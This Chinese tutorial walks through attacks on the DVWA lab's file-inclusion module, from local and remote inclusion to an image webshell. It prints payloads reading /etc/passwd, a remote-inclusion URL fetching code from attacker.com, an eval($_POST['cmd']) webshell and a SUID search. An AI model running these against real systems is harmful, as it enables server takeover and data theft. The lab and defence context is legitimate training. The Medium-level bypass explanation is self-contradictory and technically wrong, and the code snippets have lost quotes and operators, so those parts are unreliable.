DVWA文件包含漏洞实战:从LFI到RFI的四种安全等级绕过技巧
1. 项目概述从靶场到实战的文件包含漏洞攻防文件包含漏洞一个在Web安全领域经久不衰的经典议题。无论是CTF比赛还是真实的渗透测试它都像一把隐蔽的钥匙常常能打开通往服务器核心区域的大门。今天我们不谈枯燥的理论直接上手DVWADamn Vulnerable Web Application这个经典的漏洞演练平台来一场真刀真枪的“文件包含”实战。目标很明确在DVWA的不同安全等级Low, Medium, High, Impossible下逐一拆解并绕过其针对文件包含漏洞的防护机制。我会把每一步的操作、背后的原理、踩过的坑以及最终成功的截图都摆出来让你不仅能看懂更能亲手复现。无论你是刚入门的安全爱好者还是想巩固基础的从业者这篇从靶场实操中提炼的绕过技巧总结都能给你带来最直接的收获。2. 环境准备与漏洞原理快速回顾2.1 DVWA靶场搭建与配置要点工欲善其事必先利其器。虽然网上DVWA的安装教程一抓一大把但很多教程只讲步骤不讲细节导致新手在配置环节就卡住。这里我分享几个确保一次成功的要点。首先DVWA本质上是一个PHP应用所以你需要一个支持PHP和MySQL的Web运行环境。XAMPP、PHPStudy这类集成环境是最快最省事的选择。下载DVWA源码后解压到Web服务器的根目录例如htdocs或www目录下。关键的配置文件是config/config.inc.php。你需要修改其中的数据库连接信息$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] your_password; // 这里填你的MySQL密码注意很多新手在这里栽跟头密码错误或数据库用户权限不足会导致初始化失败。确保你的MySQL服务已启动并且用于连接的用户如root拥有创建数据库和表的权限。接着通过浏览器访问http://localhost/DVWA/setup.php。点击页面底部的“Create / Reset Database”按钮。如果一切顺利页面会提示数据库创建成功。此时使用默认账号admin和密码password登录。登录后第一件事就是去左侧“DVWA Security”菜单将安全级别设置为“Low”。这是我们所有测试的起点。2.2 文件包含漏洞核心原理与DVWA场景为什么文件包含漏洞危险简单说就是程序在引入包含外部文件时没有对用户输入的文件路径进行严格过滤导致攻击者可以操控这个路径去包含并执行服务器上的任意文件。DVWA的“File Inclusion”模块完美模拟了这种漏洞场景。它通过一个page参数来动态加载不同的页面比如?pageinclude.php。在安全级别为“Low”时它的代码几乎没有任何防护// DVWA Low 级别 File Inclusion 源码 (vulnerabilities/fi/index.php) ?php $file $_GET[page]; // 直接获取用户输入没有过滤 ?这意味着我们可以通过修改page参数的值让它去包含系统上的其他文件。例如尝试包含/etc/passwdLinux系统用户信息文件或C:\\Windows\\system.iniWindows系统文件。如果成功服务器就会把这些文件的内容读取并返回给我们造成敏感信息泄露。更进一步如果服务器允许上传文件如DVWA的文件上传模块我们甚至可以上传一个包含恶意代码的图片或文本文件然后通过文件包含漏洞去执行它从而获得网站的控制权即“图片木马”利用链。理解了这个核心我们的实战就围绕着一个目标展开在越来越严格的过滤规则下如何让page参数的值最终指向我们想要包含的目标文件路径。3. 四种安全等级的绕过技巧实战解析DVWA的文件包含模块设置了四个安全等级代表了四种不同强度的防护思路。我们的挑战就是逐一攻克它们。3.1 Low级别绝对路径与协议封装绕过在Low级别下没有任何过滤这为我们理解最基本的利用方式提供了绝佳环境。1. 本地文件包含LFI直接在URL参数中传入绝对路径。例如在Linux靶场下http://localhost/DVWA/vulnerabilities/fi/?page/etc/passwd如果成功页面会显示/etc/passwd文件的内容。这直接证明了漏洞存在并泄露了系统用户信息。2. 远程文件包含RFI如果服务器的php.ini配置中allow_url_include选项为OnDVWA默认配置可能支持我们可以直接包含一个远程服务器上的PHP文件。http://localhost/DVWA/vulnerabilities/fi/?pagehttp://attacker.com/shell.txt这里shell.txt的内容是一段PHP代码?php phpinfo(); ?。当服务器包含这个URL时会去获取http://attacker.com/shell.txt的内容并将其作为PHP代码执行从而在页面上显示出phpinfo信息。这是从信息泄露到代码执行的关键一步。3. 利用PHP封装协议即使allow_url_include为OffPHP的一些内置封装协议也很有用。最常用的是php://filter它用于读取文件源码在无法直接执行代码时进行审计。http://localhost/DVWA/vulnerabilities/fi/?pagephp://filter/convert.base64-encode/resourceindex.php这个请求会使用php://filter流对index.php文件的内容进行base64编码后输出。我们拿到base64字符串后解码就能得到index.php的源代码。这在CTF中常用于获取flag或审计其他漏洞。实操心得在Low级别重点测试LFI、RFI和php://filter。用phpinfo()页面确认allow_url_include状态。如果RFI成功意味着你可以直接控制服务器执行任意代码危害等级最高。3.2 Medium级别路径遍历过滤与双写绕过将安全级别调到Medium你会发现直接使用../../etc/passwd这样的路径遍历目录穿越 payload 失效了。查看源码// DVWA Medium 级别 File Inclusion 源码 $file $_GET[page]; $file str_replace( array( ../, ..\\ ), , $file ); // 过滤了 ../ 和 ..\代码使用str_replace函数简单地将“../”和“..\”替换为空字符串。这是一种非常初级的过滤存在经典的“双写绕过”漏洞。绕过技巧双写绕过过滤逻辑是输入字符串-删除所有../子串-结果字符串。 我们的绕过思路是构造一个字符串在被删除掉一部分后剩下的部分恰好能组合成我们想要的payload。 例如我们想传入../../../etc/passwd。如果直接传入会被过滤成etc/passwd因为所有../被删。但如果我们传入..././..././..././etc/passwd呢 过滤过程删除所有../。原始字符串..././..././..././etc/passwd删除第一个../第2-4字符变成..../..././etc/passwd继续删除下一个../变成...././etc/passwd继续删除下一个../变成..../etc/passwd最终....被保留了下来它并不是../所以过滤结束。但....在文件系统中会被解析成什么实际上....本身无效我们构造错了。正确的双写应该是....//。因为str_replace只进行一次替换不会递归检查。更通用的payload是..././。过滤时中间的../被删除剩下的./连接起来正好又形成了一个../点点斜杠。但仔细看..././过滤后变成./并不是../。所以这个经典绕过在DVWA的Medium级别可能不直接适用因为它的替换逻辑是删除而不是递归。我们需要构造一个在被删除特定子串后剩余字符能“碰巧”形成有效路径遍历的payload。经过测试一个有效的绕过payload是....//....//....//etc/passwd过滤过程查找并删除../。在....//中从第二个字符开始到第四个字符../被删除剩下.//。三个....//经过过滤后都变成.//。最终字符串变为.//.//.//etc/passwd。在Linux/Unix路径中//等价于/而/./表示当前目录不影响路径解析。所以.//.//.//etc/passwd实际上等价于/etc/passwd这是一个绝对路径它成功绕过了对相对路径../的过滤直接使用了绝对路径包含。这提醒我们绝对路径包含是永远需要防范的底线。但DVWA Medium级别的本意可能是想过滤目录穿越却忽略了绝对路径。因此在Medium级别直接使用/etc/passwd或C:\\Windows\\system.ini这样的绝对路径依然是可行的。这才是最直接有效的“绕过”。踩坑记录不要被“双写绕过”的思维定式困住。首先要测试最基础的payload是否被过滤。Medium级别只是过滤了../但没有阻止包含绝对路径或使用其他协议如php://filter。所以?page/etc/passwd或?pagephp://filter/convert.base64-encode/resourceindex.php在Medium级别依然有效。这说明开发者在设计过滤时考虑不周只防了相对路径穿越没防绝对路径和协议。3.3 High级别白名单限制与文件协议绕过将级别调至High难度陡增。查看源码// DVWA High 级别 File Inclusion 源码 $file $_GET[page]; if( !fnmatch( file*, $file ) $file ! include.php ) { echo ERROR: File not found!; exit; }这里使用了fnmatch函数进行白名单检查page参数的值必须以字符串file开头或者等于include.php。这意味着我们只能包含像file1.php、file2.php这样的文件或者file://协议开头的路径。直接传入/etc/passwd或http://会被拦截。绕过技巧利用file://协议白名单要求以file开头这恰恰给我们留了一扇窗——file://协议。file://是PHP用于访问本地文件系统的封装协议。所以我们可以构造如下payloadhttp://localhost/DVWA/vulnerabilities/fi/?pagefile:///etc/passwd这个payload以file开头符合白名单规则。file://后面跟的是本地文件的绝对路径注意file://协议后是三个斜杠///这是标准写法file:///相当于file://localhost/指向本机。通过file://协议我们再次成功读取了/etc/passwd文件。同样也可以读取Web目录下的其他文件例如包含上传的木马文件?pagefile:///var/www/html/DVWA/hackable/uploads/shell.jpg假设上传的木马文件路径为此。核心原理High级别的防御思路是“白名单”比Medium的“黑名单替换”更先进。但它犯了一个关键错误将file://这个强大的本地文件访问协议加入了白名单。这相当于在门上挂了一把锁却把钥匙插在了锁孔里。在实际安全开发中白名单列表必须尽可能精确、最小化例如只允许include.php、file1.php、file2.php这几个具体的文件名而不是使用模糊的前缀匹配。3.4 Impossible级别设计缺陷与终极防御Impossible级别代表了理论上“不可能”被绕过的安全代码。让我们看看它是如何实现的// DVWA Impossible 级别 File Inclusion 源码 $file $_GET[page]; if( $file ! include.php $file ! file1.php $file ! file2.php ) { echo ERROR: File not found!; exit; }这里采用了严格的白名单比对。page参数的值必须精确等于include.php、file1.php、file2.php这三个字符串之一。用户输入不再被信任为文件路径而是作为一个“选项键”。后端代码根据这个键映射到预定义的、安全的文件路径// 隐含的逻辑 switch ($file) { case include.php: $actual_path ./include.php; break; case file1.php: $actual_path ./file1.php; break; case file2.php: $actual_path ./file2.php; break; default: die(ERROR: File not found!); } include($actual_path);在这种设计下攻击者无法控制include()函数加载的任何文件路径。无论输入../../../etc/passwd、file://还是其他任何奇技淫巧在switch判断那里就会被拦截因为输入不在白名单内。那么Impossible级别真的无懈可击吗从文件包含这个单一漏洞点来看是的。但它提醒我们一个更重要的安全原则安全的系统是设计出来的不是修补出来的。Impossible级别的代码从根本上重构了功能逻辑摒弃了“动态包含用户指定文件”的危险模式采用了“静态映射”的安全模式。然而在复杂的真实应用中漏洞可能存在“组合拳”。例如结合文件上传漏洞即使文件包含点被锁死如果存在一个任意文件上传漏洞攻击者上传了木马文件但无法通过文件包含去触发它。这时攻击者可能需要寻找其他执行方式比如寻找文件上传本身的上传路径可预测、或者结合其他解析漏洞如Apache解析漏洞shell.jpg.php。逻辑缺陷白名单列表本身是否可能被其他漏洞如SQL注入篡改或者应用的其他部分是否存在本地文件包含LFI导致可以包含日志文件、Session文件等通过在这些文件中注入PHP代码来间接利用。环境配置问题服务器错误配置了.htaccess或nginx.conf导致某些特殊后缀的文件被当作PHP执行。深度思考Impossible级别展示的是一种“安全设计范式”。对于开发者在业务设计初期就应避免“用户可控文件路径”的模式。如果必须动态加载应使用安全的映射机制如ID到安全文件名的映射表。对于安全测试者当遇到Impossible级别这样的防御时应该立即转换思路从“绕过过滤”变为“寻找其他入口点或组合漏洞”进行更全面的渗透测试。4. 实战演练构建完整的攻击链条仅仅会绕过过滤还不够真正的渗透测试需要将漏洞串联起来形成攻击链。我们以DVWA为例模拟一个从低到高的完整攻击过程。4.1 信息收集与漏洞确认首先将DVWA安全级别设为Low。访问文件包含页面 (/vulnerabilities/fi/)。尝试基础LFI?page../../../../etc/passwd。确认漏洞存在。 接着尝试RFI?pagehttp://your-vps/shell.txt你需要一台外网服务器并在web根目录放置一个包含?php phpinfo();?的shell.txt文件。如果成功显示phpinfo页面则证明RFI可行且allow_url_includeOn这是最危险的情况。 然后尝试读取Web应用本身的源码为后续审计做准备?pagephp://filter/convert.base64-encode/resourceindex.php。解码Base64后分析源码可能会发现数据库配置、其他功能点的路径等敏感信息。4.2 利用文件上传获取Webshell在DVWA的“File Upload”模块安全级别也设为Low我们可以上传一个图片马。准备一张正常图片如test.jpg用文本编辑器在文件末尾添加一行PHP代码?php eval($_POST[cmd]);?。然后上传。 上传成功后DVWA会返回文件的访问路径例如../../hackable/uploads/test.jpg。 此时回到文件包含漏洞点构造payload?page../../hackable/uploads/test.jpg。如果页面正常显示没有报错可能图片部分显示乱码说明包含成功图片中的PHP代码已被服务器解析。但此时我们看不到代码执行结果因为代码是eval($_POST[cmd])它等待接收POST参数。4.3 连接Webshell与权限提升现在我们需要一个工具来和这个“隐藏”的Webshell进行交互。最常用的是中国菜刀Caidao或蚁剑AntSword、冰蝎Behinder等。这里以蚁剑为例因为它开源且功能强大。在蚁剑中添加一个数据。URL填写文件包含触发Webshell的地址http://localhost/DVWA/vulnerabilities/fi/?page../../hackable/uploads/test.jpg。连接密码填写我们写在图片马中的POST参数名cmd。编码器、请求头等通常保持默认蚁剑会自动尝试。点击“添加”。如果一切正常蚁剑会成功连接并显示出服务器的目录结构。至此我们已经获得了该Web服务进程权限通常是www-data或nobody下的命令执行和文件管理能力。接下来的操作就是标准的后渗透流程尝试权限提升提权、信息收集数据库密码、配置文件、内网渗透等。例如在蚁剑的虚拟终端中执行whoami、id、find / -perm -4000 2/dev/null查找SUID文件等。重要警告与法律边界以上所有操作必须、且仅限在你自己搭建的本地靶场或获得明确授权的演练环境中进行。未经授权对任何系统进行渗透测试是违法行为。DVWA的存在意义正是为了在一个合法、安全的环境中学习和练习安全技术。5. 防御方案与安全开发建议通过攻击的视角我们更能理解如何防御。针对文件包含漏洞防御需要多层次、立体化。1. 代码层防御根本避免动态包含像DVWA Impossible级别那样使用静态映射或硬编码文件路径。如果业务必须动态则使用安全的映射机制如将用户选择的“菜单ID”映射到预定义的安全文件名数组。实施严格白名单如果必须使用用户输入必须建立严格的白名单机制只允许包含预先设定的、已知安全的文件。禁止使用任何路径遍历字符../,..\,./等。规范化与校验对用户输入进行规范化如realpath()函数解析真实路径然后检查规范化后的路径是否在以Web根目录为起点的允许范围内。$base_dir /var/www/html/; // 允许的根目录 $user_input $_GET[page]; $real_path realpath($base_dir . $user_input); if ($real_path false || strpos($real_path, $base_dir) ! 0) { die(非法访问); } // 安全包含 include($real_path);2. 配置层加固PHP配置在生产环境中务必在php.ini中设置allow_url_include Off和allow_url_fopen Off彻底关闭远程文件包含的可能性。Web服务器配置通过Nginx/Apache的配置限制PHP文件只能访问特定目录。系统权限运行Web服务的用户如www-data应遵循最小权限原则仅拥有对Web目录的必要读写权限无权读取/etc/passwd、/etc/shadow等系统关键文件。3. 架构与运维层安全开发生命周期SDL在需求设计和代码评审阶段就识别此类风险。定期安全扫描与审计使用静态代码分析工具SAST和动态应用安全测试工具DAST定期检查。漏洞管理与应急响应建立漏洞修复流程一旦发现此类漏洞能快速定位、修复和上线。文件包含漏洞的攻防是一场关于“信任”与“控制”的博弈。攻击者千方百计地试图扩大自己的控制范围而防御者则需要通过代码、配置和架构将这种信任牢牢锁死在最小范围内。DVWA的四个级别正是这场博弈从初级到高级的缩影。理解每一种绕过技巧背后的原理不仅能让你在渗透测试中多一种手段更能让你在编写代码时多一份审慎。安全之路始于对细节的敬畏成于对原理的洞察。希望这篇结合实战的详细解析能成为你路上的一块坚实的垫脚石。